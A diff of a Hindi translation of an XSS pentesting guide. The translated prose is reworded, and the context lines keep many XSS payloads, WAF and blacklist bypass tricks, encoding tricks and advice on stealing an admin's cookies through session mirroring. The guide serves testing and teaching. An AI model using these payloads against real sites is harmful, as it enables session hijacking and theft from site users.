|
||||
```
|
||||
आप सीधे **Javascript फ़ंक्शंस** को भी **ट्रिगर** करने की कोशिश कर सकते हैं: `obj.sales.delOrders`।
|
||||
आप सीधे **Javascript फ़ंक्शन** को **trigger** करने की कोशिश कर सकते हैं: `obj.sales.delOrders`।
|
||||
|
||||
हालांकि, आमतौर पर निर्दिष्ट फ़ंक्शन को निष्पादित करने वाले एंडपॉइंट्स ऐसे एंडपॉइंट्स होते हैं जिनमें ज्यादा दिलचस्प DOM नहीं होता है, **समान मूल के अन्य पृष्ठों** में **ज्यादा दिलचस्प DOM** होगा ताकि अधिक क्रियाएँ की जा सकें।
|
||||
हालांकि, आमतौर पर निर्दिष्ट फ़ंक्शन को निष्पादित करने वाले एंडपॉइंट्स में ज्यादा दिलचस्प DOM नहीं होता है, **समान मूल के अन्य पृष्ठों** में **अधिक दिलचस्प DOM** होगा जिससे अधिक क्रियाएँ की जा सकें।
|
||||
|
||||
इसलिए, **विभिन्न DOM में इस कमजोरियों का दुरुपयोग करने के लिए** **Same Origin Method Execution (SOME)** शोषण विकसित किया गया:
|
||||
|
||||
@ -124,7 +124,7 @@ some-same-origin-method-execution.md
|
||||
|
||||
### DOM
|
||||
|
||||
यहाँ **JS कोड** है जो **असुरक्षित** तरीके से कुछ **हमलावर द्वारा नियंत्रित डेटा** का उपयोग कर रहा है जैसे `location.href`। एक हमलावर, इसे मनमाने JS कोड को निष्पादित करने के लिए दुरुपयोग कर सकता है।
|
||||
यहाँ **JS कोड** है जो **असुरक्षित** तरीके से कुछ **हमलावर द्वारा नियंत्रित डेटा** का उपयोग कर रहा है जैसे `location.href`। एक हमलावर, इसका दुरुपयोग करके मनमाने JS कोड को निष्पादित कर सकता है।
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
@ -132,7 +132,7 @@ dom-xss.md
|
||||
|
||||
### **Universal XSS**
|
||||
|
||||
इस प्रकार के XSS **कहीं भी** पाए जा सकते हैं। ये केवल एक वेब एप्लिकेशन के क्लाइंट शोषण पर निर्भर नहीं करते बल्कि **किसी भी** **संदर्भ** पर निर्भर करते हैं। इस प्रकार के **मनमाने JavaScript निष्पादन** का दुरुपयोग **RCE** प्राप्त करने, **क्लाइंट्स और सर्वर्स में मनमाने** **फाइलों** को **पढ़ने**, और अधिक के लिए भी किया जा सकता है।\
|
||||
इस प्रकार के XSS **कहीं भी** पाए जा सकते हैं। ये केवल एक वेब एप्लिकेशन के क्लाइंट शोषण पर निर्भर नहीं करते बल्कि **किसी भी** **संदर्भ** पर निर्भर करते हैं। इस प्रकार के **मनमाने JavaScript निष्पादन** का दुरुपयोग करके **RCE** प्राप्त किया जा सकता है, **क्लाइंट्स और सर्वर्स में मनमाने फ़ाइलों को पढ़ा** जा सकता है, और भी बहुत कुछ।\
|
||||
कुछ **उदाहरण**:
|
||||
|
||||
{{#ref}}
|
||||
@ -162,11 +162,11 @@ alert(1)
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
लेकिन, यदि टैग/विशेषताएँ काली/सफेद सूचीकरण का उपयोग कर रही हैं, तो आपको **यह पता लगाने के लिए ब्रूट-फोर्स करना होगा कि कौन से टैग** आप बना सकते हैं।\
|
||||
एक बार जब आप **यह पता लगा लेते हैं कि कौन से टैग अनुमत हैं**, तो आपको **पाए गए मान्य टैग के अंदर विशेषताएँ/इवेंट्स** के लिए ब्रूट-फोर्स करना होगा ताकि आप यह देख सकें कि आप संदर्भ पर कैसे हमला कर सकते हैं।
|
||||
एक बार जब आप **यह पता कर लेते हैं कि कौन से टैग अनुमत हैं**, तो आपको **पाए गए मान्य टैग के अंदर विशेषताएँ/इवेंट्स** के लिए ब्रूट-फोर्स करना होगा ताकि आप यह देख सकें कि आप संदर्भ पर कैसे हमला कर सकते हैं।
|
||||
|
||||
### टैग/इवेंट्स ब्रूट-फोर्स
|
||||
|
||||
जाएँ [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) और _**क्लिपबोर्ड में टैग कॉपी करें**_ पर क्लिक करें। फिर, सभी को Burp intruder का उपयोग करके भेजें और जांचें कि क्या कोई टैग WAF द्वारा दुर्भावनापूर्ण के रूप में खोजा नहीं गया। एक बार जब आप यह पता लगा लेते हैं कि आप कौन से टैग का उपयोग कर सकते हैं, तो आप **मान्य टैग का उपयोग करके सभी इवेंट्स के लिए ब्रूट फोर्स कर सकते हैं** (एक ही वेब पृष्ठ पर _**क्लिपबोर्ड में इवेंट्स कॉपी करें**_ पर क्लिक करें और पहले की तरह ही प्रक्रिया का पालन करें)।
|
||||
जाएँ [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) और _**क्लिपबोर्ड में टैग कॉपी करें**_ पर क्लिक करें। फिर, सभी को Burp intruder का उपयोग करके भेजें और जांचें कि क्या कोई टैग WAF द्वारा दुर्भावनापूर्ण के रूप में खोजा नहीं गया। एक बार जब आप यह पता कर लेते हैं कि आप कौन से टैग का उपयोग कर सकते हैं, तो आप मान्य टैग का उपयोग करके **सभी इवेंट्स के लिए ब्रूट फोर्स कर सकते हैं** (एक ही वेब पृष्ठ पर _**क्लिपबोर्ड में इवेंट्स कॉपी करें**_ पर क्लिक करें और पहले की तरह ही प्रक्रिया का पालन करें)।
|
||||
|
||||
### कस्टम टैग
|
||||
|
||||
@ -239,18 +239,18 @@ To check in which characters are decomposed check [here](https://www.compart.com
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
यदि किसी भेद्यता का लाभ उठाने के लिए आपको **उपयोगकर्ता को एक लिंक या फॉर्म पर क्लिक करने की आवश्यकता है** जिसमें पूर्व-भरे हुए डेटा हैं, तो आप [**Clickjacking का दुरुपयोग करने की कोशिश कर सकते हैं**](../clickjacking.md#xss-clickjacking) (यदि पृष्ठ भेद्य है)।
|
||||
यदि किसी भेद्यता का लाभ उठाने के लिए आपको **उपयोगकर्ता को एक लिंक या एक फॉर्म** पर क्लिक करने की आवश्यकता है जिसमें पूर्व-भरे हुए डेटा हैं, तो आप [**Clickjacking का दुरुपयोग करने की कोशिश कर सकते हैं**](../clickjacking.md#xss-clickjacking) (यदि पृष्ठ भेद्य है)।
|
||||
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
यदि आप केवल यह सोचते हैं कि **JS कोड निष्पादित करने के लिए एक HTML टैग के साथ एक विशेषता बनाना असंभव है**, तो आपको [**Dangling Markup** ](../dangling-markup-html-scriptless-injection/index.html) की जांच करनी चाहिए क्योंकि आप **बिना** **JS** कोड निष्पादित किए भेद्यता का **लाभ उठा सकते हैं**।
|
||||
यदि आप सोचते हैं कि **JS कोड निष्पादित करने के लिए एक HTML टैग के साथ एक विशेषता बनाना असंभव है**, तो आपको [**Dangling Markup** ](../dangling-markup-html-scriptless-injection/index.html) की जांच करनी चाहिए क्योंकि आप **बिना** **JS** कोड निष्पादित किए भेद्यता का **लाभ उठा सकते हैं**।
|
||||
|
||||
## Injecting inside HTML tag
|
||||
|
||||
### Inside the tag/escaping from attribute value
|
||||
|
||||
यदि आप **HTML टैग के अंदर हैं**, तो आप जो पहली चीज़ कर सकते हैं वह है **टैग से बचना** और [पिछले अनुभाग](#injecting-inside-raw-html) में उल्लेखित कुछ तकनीकों का उपयोग करके JS कोड निष्पादित करना।\
|
||||
यदि आप **टैग से नहीं बच सकते**, तो आप टैग के अंदर नए विशेषताएँ बना सकते हैं ताकि JS कोड निष्पादित करने की कोशिश की जा सके, उदाहरण के लिए कुछ पेलोड का उपयोग करके जैसे कि (_ध्यान दें कि इस उदाहरण में विशेषता से बचने के लिए डबल कोट्स का उपयोग किया गया है, यदि आपका इनपुट सीधे टैग के अंदर परिलक्षित होता है तो आपको उनकी आवश्यकता नहीं होगी_):
|
||||
यदि आप **HTML टैग के अंदर हैं**, तो आप जो पहली चीज़ कर सकते हैं वह है टैग से **escape** करना और [पिछले अनुभाग](#injecting-inside-raw-html) में उल्लेखित कुछ तकनीकों का उपयोग करके JS कोड निष्पादित करना।\
|
||||
यदि आप **टैग से escape नहीं कर सकते**, तो आप टैग के अंदर नए विशेषताएँ बना सकते हैं ताकि JS कोड निष्पादित करने की कोशिश की जा सके, उदाहरण के लिए कुछ payload का उपयोग करके जैसे (_ध्यान दें कि इस उदाहरण में विशेषता से escape करने के लिए डबल उद्धरण का उपयोग किया गया है, यदि आपका इनपुट सीधे टैग के अंदर परिलक्षित होता है तो आपको उनकी आवश्यकता नहीं होगी_) :
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -267,12 +267,12 @@ To check in which characters are decomposed check [here](https://www.compart.com
|
||||
```
|
||||
### Within the attribute
|
||||
|
||||
यहां तक कि अगर आप **attribute से भाग नहीं सकते** (`"` को एन्कोड या हटा दिया गया है), यह इस पर निर्भर करता है कि **कौन सा attribute** आपका मान प्रतिबिंबित हो रहा है **यदि आप सभी मान को नियंत्रित करते हैं या केवल एक भाग** तो आप इसका दुरुपयोग कर सकेंगे। **उदाहरण के लिए**, यदि आप एक इवेंट को नियंत्रित करते हैं जैसे `onclick=` तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे।\
|
||||
एक और दिलचस्प **उदाहरण** है attribute `href`, जहां आप मनमाना कोड निष्पादित करने के लिए `javascript:` प्रोटोकॉल का उपयोग कर सकते हैं: **`href="javascript:alert(1)"`**
|
||||
यहां तक कि अगर आप **attribute से भाग नहीं सकते** (`"` को एन्कोड या हटा दिया गया है), यह इस पर निर्भर करता है कि **कौन सा attribute** आपके मान में परिलक्षित हो रहा है **यदि आप सभी मान को नियंत्रित करते हैं या केवल एक भाग** तो आप इसका दुरुपयोग कर सकेंगे। **उदाहरण के लिए**, यदि आप एक इवेंट को नियंत्रित करते हैं जैसे `onclick=` तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे।\
|
||||
एक और दिलचस्प **उदाहरण** है attribute `href`, जहां आप `javascript:` प्रोटोकॉल का उपयोग करके मनमाना कोड निष्पादित कर सकते हैं: **`href="javascript:alert(1)"`**
|
||||
|
||||
**HTML एन्कोडिंग/URL एन्कोड का उपयोग करके इवेंट के अंदर बायपास करें**
|
||||
**HTML एन्कोडिंग/URL एन्कोड का उपयोग करके इवेंट के अंदर बायपास**
|
||||
|
||||
HTML टैग के attributes के मान के अंदर **HTML एन्कोडेड कैरेक्टर्स** **रनटाइम पर डिकोड** होते हैं। इसलिए निम्नलिखित कुछ इस तरह मान्य होगा (पेलोड बोल्ड में है): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
HTML टैग के attributes के मान के अंदर **HTML एन्कोडेड कैरेक्टर्स** **रनटाइम पर डिकोड** होते हैं। इसलिए कुछ इस तरह का निम्नलिखित मान्य होगा (पेलोड बोल्ड में है): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
|
||||
ध्यान दें कि **किसी भी प्रकार की HTML एन्कोड मान्य है**:
|
||||
```javascript
|
||||
@ -403,7 +403,7 @@ Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
|
||||
|
||||
From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **अब छिपे हुए इनपुट का दुरुपयोग करना संभव है:**
|
||||
From [**यहां**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **अब छिपे हुए इनपुट का दुरुपयोग करना संभव है:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
|
||||
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
[**यहां**](https://portswigger.net/research/xss-in-hidden-input-fields) से: आप एक **XSS पेलोड को एक छिपे हुए एट्रिब्यूट के अंदर निष्पादित** कर सकते हैं, बशर्ते आप **शिकार** को **की संयोजन** दबाने के लिए **राजी** कर सकें। Firefox Windows/Linux पर की संयोजन **ALT+SHIFT+X** है और OS X पर यह **CTRL+ALT+X** है। आप एक्सेस की एट्रिब्यूट में एक अलग की का उपयोग करके एक अलग की संयोजन निर्दिष्ट कर सकते हैं। यहाँ वेक्टर है:
|
||||
आप एक **XSS payload को एक छिपे हुए attribute के अंदर निष्पादित** कर सकते हैं, बशर्ते आप **शिकार** को **की संयोजन** दबाने के लिए **राजी** कर सकें। Firefox Windows/Linux पर की संयोजन **ALT+SHIFT+X** है और OS X पर यह **CTRL+ALT+X** है। आप access key attribute में एक अलग key का उपयोग करके एक अलग की संयोजन निर्दिष्ट कर सकते हैं। यहाँ वेक्टर है:
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
@ -430,7 +430,7 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
### ब्लैकलिस्ट बायपास
|
||||
|
||||
इस अनुभाग के भीतर विभिन्न एन्कोडिंग का उपयोग करने के कई ट्रिक्स पहले ही उजागर किए जा चुके हैं। **वापस जाएं और जानें कि आप कहां उपयोग कर सकते हैं:**
|
||||
इस अनुभाग में विभिन्न एन्कोडिंग का उपयोग करने के कई ट्रिक्स पहले ही उजागर किए जा चुके हैं। **वापस जाएं और जानें कि आप कहां उपयोग कर सकते हैं:**
|
||||
|
||||
- **HTML एन्कोडिंग (HTML टैग)**
|
||||
- **यूनिकोड एन्कोडिंग (मान्य JS कोड हो सकता है):** `\u0061lert(1)`
|
||||
@ -444,11 +444,11 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
**जावास्क्रिप्ट कोड के लिए बायपास**
|
||||
|
||||
[जावास्क्रिप्ट बायपास ब्लैकलिस्ट पढ़ें](#javascript-bypass-blacklists-techniques).
|
||||
अगले अनुभाग के J[avaScript बायपास ब्लैकलिस्ट पढ़ें](#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-गैजेट्स
|
||||
|
||||
यदि आप वेब के एक **बहुत छोटे हिस्से** में **XSS** पाते हैं जो किसी प्रकार की इंटरैक्शन की आवश्यकता होती है (शायद फुटर में एक छोटा लिंक जिसमें एक onmouseover तत्व है), तो आप उस तत्व द्वारा कब्जा की गई जगह को **संशोधित करने** की कोशिश कर सकते हैं ताकि लिंक के सक्रिय होने की संभावनाओं को अधिकतम किया जा सके।
|
||||
यदि आपने वेब के एक **बहुत छोटे हिस्से** में **XSS** पाया है जो किसी प्रकार की इंटरैक्शन की आवश्यकता है (शायद फुटर में एक छोटा लिंक जिसमें एक onmouseover तत्व है), तो आप उस तत्व द्वारा कब्जा किए गए स्थान को **संशोधित करने** की कोशिश कर सकते हैं ताकि लिंक के सक्रिय होने की संभावनाएं अधिकतम हो सकें।
|
||||
|
||||
उदाहरण के लिए, आप तत्व में कुछ स्टाइलिंग जोड़ सकते हैं जैसे: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
@ -468,7 +468,7 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
## जावास्क्रिप्ट कोड के अंदर इंजेक्ट करना
|
||||
|
||||
इन मामलों में आपका **इनपुट** **JS कोड** के एक `.js` फ़ाइल या `<script>...</script>` टैग के बीच या HTML इवेंट के बीच जो JS कोड को निष्पादित कर सकते हैं या उन विशेषताओं के बीच जो `javascript:` प्रोटोकॉल को स्वीकार करते हैं, **प्रतिबिंबित** होने वाला है।
|
||||
इन मामलों में आपका **इनपुट** **JS कोड** के एक `.js` फ़ाइल के अंदर या `<script>...</script>` टैग के बीच या HTML इवेंट्स के बीच जो JS कोड निष्पादित कर सकते हैं या उन विशेषताओं के बीच जो `javascript:` प्रोटोकॉल को स्वीकार करते हैं, **प्रतिबिंबित** होने वाला है।
|
||||
|
||||
### \<script> टैग को एस्केप करना
|
||||
|
||||
@ -476,7 +476,7 @@ onbeforetoggle="alert(2)" />
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
ध्यान दें कि इस उदाहरण में हमने **एकल उद्धरण को भी बंद नहीं किया है**। इसका कारण यह है कि **HTML पार्सिंग पहले ब्राउज़र द्वारा की जाती है**, जिसमें पृष्ठ तत्वों की पहचान करना शामिल है, जिसमें स्क्रिप्ट के ब्लॉक भी शामिल हैं। JavaScript का पार्सिंग, जो अंतर्निहित स्क्रिप्ट को समझने और निष्पादित करने के लिए किया जाता है, केवल बाद में किया जाता है।
|
||||
ध्यान दें कि इस उदाहरण में हमने **एकल उद्धरण को भी बंद नहीं किया है**। इसका कारण यह है कि **HTML पार्सिंग पहले ब्राउज़र द्वारा की जाती है**, जिसमें पृष्ठ तत्वों की पहचान करना शामिल है, जिसमें स्क्रिप्ट के ब्लॉक भी शामिल हैं। JavaScript का पार्सिंग केवल बाद में किया जाता है ताकि अंतर्निहित स्क्रिप्ट को समझा और निष्पादित किया जा सके।
|
||||
|
||||
### JS कोड के अंदर
|
||||
|
||||
@ -488,8 +488,8 @@ onbeforetoggle="alert(2)" />
|
||||
```
|
||||
### Template literals \`\`
|
||||
|
||||
**स्ट्रिंग्स** को बनाने के लिए, एकल और दोहरे उद्धरणों के अलावा, JS भी **बैकटिक्स** **` `` `** को स्वीकार करता है। इसे टेम्पलेट लिटेरल कहा जाता है क्योंकि यह `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** करने की अनुमति देता है।\
|
||||
इसलिए, यदि आप पाते हैं कि आपका इनपुट एक JS स्ट्रिंग के अंदर **रिफ्लेक्ट** हो रहा है जो बैकटिक्स का उपयोग कर रहा है, तो आप **मनमाने JS कोड** को निष्पादित करने के लिए `${ ... }` सिंटैक्स का दुरुपयोग कर सकते हैं:
|
||||
**स्ट्रिंग्स** को एकल और दोहरे उद्धरणों के अलावा बनाने के लिए, JS **बैकटिक्स** **` `` `** को भी स्वीकार करता है। इसे टेम्पलेट लिटेरल कहा जाता है क्योंकि यह `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** करने की अनुमति देता है।\
|
||||
इसलिए, यदि आप पाते हैं कि आपका इनपुट एक JS स्ट्रिंग के अंदर **प्रतिबिंबित** हो रहा है जो बैकटिक्स का उपयोग कर रहा है, तो आप **मनमाने JS कोड** को निष्पादित करने के लिए `${ ... }` सिंटैक्स का दुरुपयोग कर सकते हैं:
|
||||
|
||||
इसका **दुरुपयोग** किया जा सकता है:
|
||||
```javascript
|
||||
@ -510,7 +510,7 @@ loop``
|
||||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||||
```
|
||||
### यूनिकोड एन्कोड JS निष्पादन
|
||||
### Unicode Encode JS execution
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
@ -549,7 +549,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
"\t" //tab
|
||||
// Any other char escaped is just itself
|
||||
```
|
||||
**JS कोड के अंदर स्पेस प्रतिस्थापन**
|
||||
**JS कोड के अंदर स्थान प्रतिस्थापन**
|
||||
```javascript
|
||||
<TAB>
|
||||
/**/
|
||||
@ -739,21 +739,21 @@ top[8680439..toString(30)](1)
|
||||
```
|
||||
## **DOM कमजोरियाँ**
|
||||
|
||||
यहाँ **JS कोड** है जो **एक हमलावर द्वारा नियंत्रित असुरक्षित डेटा** का उपयोग कर रहा है जैसे `location.href`। एक हमलावर, इसे मनमाने JS कोड को निष्पादित करने के लिए दुरुपयोग कर सकता है।\
|
||||
यहाँ **JS कोड** है जो **एक हमलावर द्वारा नियंत्रित असुरक्षित डेटा** का उपयोग कर रहा है जैसे कि `location.href`। एक हमलावर, इसे मनमाने JS कोड को निष्पादित करने के लिए दुरुपयोग कर सकता है।\
|
||||
**DOM कमजोरियों के विवरण के विस्तार के कारण** [**इसे इस पृष्ठ पर स्थानांतरित किया गया**](dom-xss.md)**:**
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
वहाँ आपको **यहाँ DOM कमजोरियाँ क्या हैं, ये कैसे उत्पन्न होती हैं, और इन्हें कैसे शोषण किया जा सकता है** इसका विस्तृत **विवरण** मिलेगा।\
|
||||
वहाँ आपको **DOM कमजोरियों के बारे में विस्तृत विवरण मिलेगा, ये कैसे उत्पन्न होती हैं, और इन्हें कैसे शोषण किया जा सकता है**।\
|
||||
इसके अलावा, यह न भूलें कि **उल्लेखित पोस्ट के अंत में** आप [**DOM Clobbering हमलों**](dom-xss.md#dom-clobbering) के बारे में एक व्याख्या पा सकते हैं।
|
||||
|
||||
### Self-XSS को अपग्रेड करना
|
||||
|
||||
### कुकी XSS
|
||||
|
||||
यदि आप एक कुकी के अंदर पेलोड भेजकर XSS को ट्रिगर कर सकते हैं, तो यह आमतौर पर एक self-XSS है। हालाँकि, यदि आप **XSS के लिए कमजोर उपडोमेन** पाते हैं, तो आप इस XSS का दुरुपयोग करके पूरे डोमेन में एक कुकी इंजेक्ट कर सकते हैं जिससे मुख्य डोमेन या अन्य उपडोमेनों (जो कुकी XSS के लिए कमजोर हैं) में कुकी XSS को ट्रिगर किया जा सके। इसके लिए आप कुकी टॉसिंग हमले का उपयोग कर सकते हैं:
|
||||
यदि आप एक कुकी के अंदर पेलोड भेजकर XSS को ट्रिगर कर सकते हैं, तो यह आमतौर पर एक self-XSS होता है। हालाँकि, यदि आप XSS के लिए **कमजोर उपडोमेन** पाते हैं, तो आप इस XSS का दुरुपयोग करके पूरे डोमेन में एक कुकी इंजेक्ट कर सकते हैं, जिससे मुख्य डोमेन या अन्य उपडोमेनों (जो कुकी XSS के लिए कमजोर हैं) में कुकी XSS को ट्रिगर किया जा सके। इसके लिए आप कुकी टॉसिंग हमले का उपयोग कर सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
@ -767,7 +767,7 @@ dom-xss.md
|
||||
|
||||
### सत्र मिररिंग
|
||||
|
||||
यदि आप कुछ self XSS पाते हैं और वेब पृष्ठ में **व्यवस्थापकों के लिए सत्र मिररिंग** है, उदाहरण के लिए ग्राहकों को मदद के लिए पूछने की अनुमति देना और व्यवस्थापक आपकी मदद करने के लिए आपके सत्र में जो आप देख रहे हैं उसे देखेगा लेकिन अपने सत्र से।
|
||||
यदि आप कुछ self XSS पाते हैं और वेब पृष्ठ में **व्यवस्थापकों के लिए सत्र मिररिंग** है, उदाहरण के लिए, ग्राहकों को मदद मांगने की अनुमति देना और व्यवस्थापक आपकी मदद करने के लिए आपके सत्र में जो आप देख रहे हैं, उसे देखेगा लेकिन अपने सत्र से।
|
||||
|
||||
आप **व्यवस्थापक को आपके self XSS को ट्रिगर करने** और उसकी कुकीज़/सत्र चुराने के लिए मजबूर कर सकते हैं।
|
||||
|
||||
@ -783,7 +783,7 @@ dom-xss.md
|
||||
```
|
||||
### Ruby-On-Rails बायपास
|
||||
|
||||
**RoR मास असाइनमेंट** के कारण HTML में उद्धरण डाले जाते हैं और फिर उद्धरण प्रतिबंध को बायपास किया जाता है और अतिरिक्त फ़ील्ड (onfocus) टैग के अंदर जोड़े जा सकते हैं।\
|
||||
**RoR मास असाइनमेंट** के कारण HTML में कोट्स डाले जाते हैं और फिर कोट प्रतिबंध को बायपास किया जाता है और अतिरिक्त फ़ील्ड (onfocus) टैग के अंदर जोड़े जा सकते हैं।\
|
||||
फॉर्म उदाहरण ([इस रिपोर्ट से](https://hackerone.com/reports/709336)), यदि आप पेलोड भेजते हैं:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
@ -826,14 +826,14 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS with header injection in a 302 response
|
||||
|
||||
यदि आप पाते हैं कि आप **302 Redirect response में headers inject कर सकते हैं** तो आप **ब्राउज़र को मनमाना JavaScript चलाने के लिए प्रयास कर सकते हैं**। यह **सरल नहीं है** क्योंकि आधुनिक ब्राउज़र HTTP response body को 302 HTTP response status code होने पर नहीं समझते, इसलिए केवल एक cross-site scripting payload बेकार है।
|
||||
यदि आप पाते हैं कि आप **302 Redirect response में headers inject कर सकते हैं**, तो आप **ब्राउज़र को मनमाना JavaScript निष्पादित करने** के लिए प्रयास कर सकते हैं। यह **सरल नहीं है** क्योंकि आधुनिक ब्राउज़र HTTP response body को 302 HTTP response status code होने पर नहीं समझते, इसलिए केवल एक cross-site scripting payload बेकार है।
|
||||
|
||||
[**इस रिपोर्ट**](https://www.gremwell.com/firefox-xss-302) और [**इस एक**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) में आप पढ़ सकते हैं कि आप Location header के अंदर कई प्रोटोकॉल का परीक्षण कैसे कर सकते हैं और देख सकते हैं कि क्या इनमें से कोई भी ब्राउज़र को body के अंदर XSS payload की जांच और निष्पादित करने की अनुमति देता है।\
|
||||
[**इस रिपोर्ट**](https://www.gremwell.com/firefox-xss-302) और [**इस एक**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) में आप पढ़ सकते हैं कि आप Location header के अंदर कई प्रोटोकॉल का परीक्षण कैसे कर सकते हैं और देख सकते हैं कि क्या इनमें से कोई भी ब्राउज़र को XSS payload को body के अंदर निरीक्षण और निष्पादित करने की अनुमति देता है।\
|
||||
पिछले ज्ञात प्रोटोकॉल: `mailto://`, `//x:1/`, `ws://`, `wss://`, _खाली Location header_, `resource://`।
|
||||
|
||||
### केवल अक्षर, संख्या और बिंदु
|
||||
|
||||
यदि आप यह संकेत देने में सक्षम हैं कि **callback** जो javascript **execute** करने जा रहा है उन वर्णों तक सीमित है। [**इस पोस्ट के इस अनुभाग को पढ़ें**](#javascript-function) यह जानने के लिए कि इस व्यवहार का दुरुपयोग कैसे करें।
|
||||
यदि आप यह इंगित करने में सक्षम हैं कि JavaScript **callback** को **execute** करने के लिए उन वर्णों तक सीमित है। [**इस पोस्ट के इस अनुभाग को पढ़ें**](#javascript-function) यह जानने के लिए कि इस व्यवहार का दुरुपयोग कैसे किया जाए।
|
||||
|
||||
### XSS के लिए मान्य `<script>` Content-Types
|
||||
|
||||
@ -841,7 +841,7 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
|
||||
केवल **Content-Type** जो Chrome को एक **loaded script** चलाने में सहायता करेगा वे हैं जो const **`kSupportedJavascriptTypes`** के अंदर हैं [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
केवल **Content-Type** जो Chrome को **लोड की गई स्क्रिप्ट** चलाने का समर्थन करेगा, वे हैं जो const **`kSupportedJavascriptTypes`** के अंदर हैं [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
@ -865,12 +865,14 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
```
|
||||
### Script Types to XSS
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) तो, कौन से प्रकार एक स्क्रिप्ट लोड करने के लिए संकेतित किए जा सकते हैं?
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) तो, कौन से प्रकार एक स्क्रिप्ट लोड करने के लिए संकेतित हो सकते हैं?
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
उत्तर है:
|
||||
|
||||
- **module** (डिफ़ॉल्ट, समझाने के लिए कुछ नहीं)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles एक विशेषता है जिससे आप डेटा (HTML, CSS, JS…) को एक साथ **`.wbn`** फ़ाइल में पैकेज कर सकते हैं।
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles एक विशेषता है जिससे आप कई डेटा (HTML, CSS, JS…) को एक साथ **`.wbn`** फ़ाइल में पैकेज कर सकते हैं।
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
@ -897,7 +899,7 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
इस व्यवहार का उपयोग [**इस लेख**](https://github.com/zwade/yaca/tree/master/solution) में एक पुस्तकालय को eval पर पुनः मैप करने के लिए किया गया था ताकि इसका दुरुपयोग किया जा सके, यह XSS को ट्रिगर कर सकता है।
|
||||
इस व्यवहार का उपयोग [**इस लेख**](https://github.com/zwade/yaca/tree/master/solution) में एक पुस्तकालय को eval पर पुनः मैप करने के लिए किया गया था ताकि इसका दुरुपयोग किया जा सके, जिससे XSS ट्रिगर हो सकता है।
|
||||
|
||||
